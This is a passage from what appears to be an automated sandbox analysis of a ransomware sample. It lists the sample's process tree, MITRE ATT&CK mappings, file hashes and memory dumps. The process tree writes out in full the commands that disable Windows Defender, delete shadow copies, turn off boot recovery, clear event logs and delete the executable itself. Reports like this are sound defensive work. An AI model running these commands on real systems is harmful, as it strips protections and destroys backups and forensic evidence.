  PID:1160
- C:\Windows\system32\sc.exe
  sc.exe config "NetMsmqActivator" start= disabled
  2⤵
  - Launches sc.exe
  PID:2812
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2444
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:2916
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2912
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1992
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:1304
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:1216
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:1920
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:596
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:712
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:536
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1860
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:2920
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1336
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2072
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1808
- C:\Windows\system32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:852
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1748
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\system32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:444
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1708
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1492
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2828
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:580
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1064
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1312
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:2960
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:2568
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2376
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2288
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1648
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1604
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2212
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1792
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1288
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:2024
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2200
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1924
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:556
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:2688
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:2788
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1600
- C:\Windows\system32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:1764
- C:\Windows\system32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:1032
- C:\Windows\system32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\system32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:3024
- C:\Windows\system32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:2656
- C:\Windows\system32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:2596
- C:\Windows\system32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\system32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2908
- C:\Windows\system32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2820
- C:\Windows\system32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- C:\Windows\system32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- C:\Windows\system32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- C:\Windows\system32\net.exe
  net.exe stop "NetMsmqActivator" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- C:\Windows\system32\notepad.exe
  notepad.exe C:\K8zJ_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1280
- C:\Windows\system32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
  2⤵
  - Deletes itself
  PID:1384
- - C:\Windows\system32\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2500

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "SamSs" /y
1⤵
PID:2732

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "SstpSvc" /y
1⤵
PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2720

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "VSS" /y
1⤵
PID:2748

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "wbengine" /y
1⤵
PID:2672

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "WebClient" /y
1⤵
PID:2764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIOAVProtection $true
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3064

C:\Program Files\Windows Defender\MpCmdRun.exe
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
1⤵
- Deletes Windows Defender Definitions
PID:1728

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "UI0Detect" /y
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2720

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "SDRSVC" /y
1⤵
PID:2824

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "NetMsmqActivator" /y
1⤵
PID:2676

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\ExportRepair.ini
1⤵
- Opens file in notepad (likely ransom note)
PID:3036

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\OpenExit.xsl.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_m7_htIj8dQY0.2o4xo
1⤵
- Modifies registry class
PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Cultures\K8zJ_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
f939d786e1fb30d287357d553719cf88

SHA1
b5001e66047bb37310e8b9c78fef2d1ef6443e1f

SHA256
5f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad

SHA512
8da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
97714a00624079e4bbc5974dafa2b122

SHA1
2fb9e15aa796be0f47285f737564c96de5e5b8c7

SHA256
e3158db42edd5681069d413db3fff20f5a00fe8ed4980ff79365ab75e85820ca

SHA512
1dc3023ca7a22ad322e07c96d769c72645dc18cfb0f51315efce9351d698040114e4dbef21128d5e5a8f6843bc92439935f121fc2aef87669252cd5878b0e6ec

Download Submit
C:\temp3.swap.2o4xo

Filesize
727.0MB

MD5
709fb414f4c6fe22490e6e3eeb540405

SHA1
bdc7eae6941bf8c8d5dded335e4b987ad7be27d7

SHA256
452df20968922ccf4abcf62ed60f2b9ffb3fe1aa5677010e348073e8ed7c3200

SHA512
319d6be5e6e14d895b7ed991ac0f52b26652581a3bb690225d220814615e9dd0ece2273ab56b20fe7f25abb31bac1fa4c1bb474d0ed664b377b932c3c62f624e

Download Submit
memory/2720-28-0x0000000002CE0000-0x0000000002D60000-memory.dmp

Filesize
512KB

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memory/2720-25-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

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memory/2720-29-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

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memory/2720-21-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

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memory/2720-27-0x0000000002CE0000-0x0000000002D60000-memory.dmp

Filesize
512KB

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memory/2720-26-0x0000000002CE0000-0x0000000002D60000-memory.dmp

Filesize
512KB

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memory/2720-24-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

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memory/2720-22-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

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memory/2720-23-0x0000000002CE0000-0x0000000002D60000-memory.dmp

Filesize
512KB

Download
memory/3064-12-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/3064-15-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/3064-14-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/3064-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

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memory/3064-11-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/3064-13-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

Download
memory/3064-10-0x00000000028D0000-0x0000000002950000-memory.dmp

Filesize
512KB

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memory/3064-9-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/3064-8-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

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